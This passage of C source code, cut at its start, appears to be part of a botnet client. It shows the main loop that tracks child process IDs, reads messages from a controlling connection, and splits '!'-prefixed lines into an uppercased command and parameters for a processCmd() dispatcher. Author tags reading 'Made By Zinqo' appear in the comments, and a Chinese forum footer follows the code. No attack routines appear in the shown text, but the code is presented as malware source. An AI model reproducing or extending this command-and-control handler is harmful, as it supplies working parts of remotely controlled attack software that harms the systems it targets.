                                newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));

                                for (on = 0; on < numpids; on++) newpids[on] = pids[on];

                                free(pids);

                                pids = newpids;

                        }

 

                        commBuf[got] = 0x00;

 

                        trim(commBuf);

 

                        unsigned char *message = commBuf;

 

                        if(*message == '!')

                        {

                                unsigned char *nickMask = message + 1;

                                while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;

                                if(*nickMask == 0x00) continue;

                                *(nickMask) = 0x00;

                                nickMask = message + 1;

 

                                message = message + strlen(nickMask) + 2;

                                while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;

 

                                unsigned char *command = message;

                                while(*message != ' ' && *message != 0x00) message++;//Made By Zinqo.

                                *message = 0x00;

                                message++;

 

                                unsigned char *tmpcommand = command;

                                while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }

 

                                unsigned char *params[10];

                                int paramsCount = 1;

                                unsigned char *pch = strtok(message, " ");//Made By Zinqo.

                                params[0] = command;

 

                                while(pch)

                                {

                                        if(*pch != '\n')

                                        {

                                                params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);

                                                memset(params[paramsCount], 0, strlen(pch) + 1);

                                                strcpy(params[paramsCount], pch);

                                                paramsCount++;

                                        }

                                        pch = strtok(NULL, " ");

                                }

 

                                processCmd(paramsCount, params);

 

                                if(paramsCount > 1)

                                {

                                        int q = 1;

                                        for(q = 1; q < paramsCount; q++)

                                        {

                                                free(params[q]);

                                        }//Made By Zinqo.

                                }

                        }

                }

        }

 

        return 0;

}

 

 


网站公告

今日签到

点亮在社区的每一天
去签到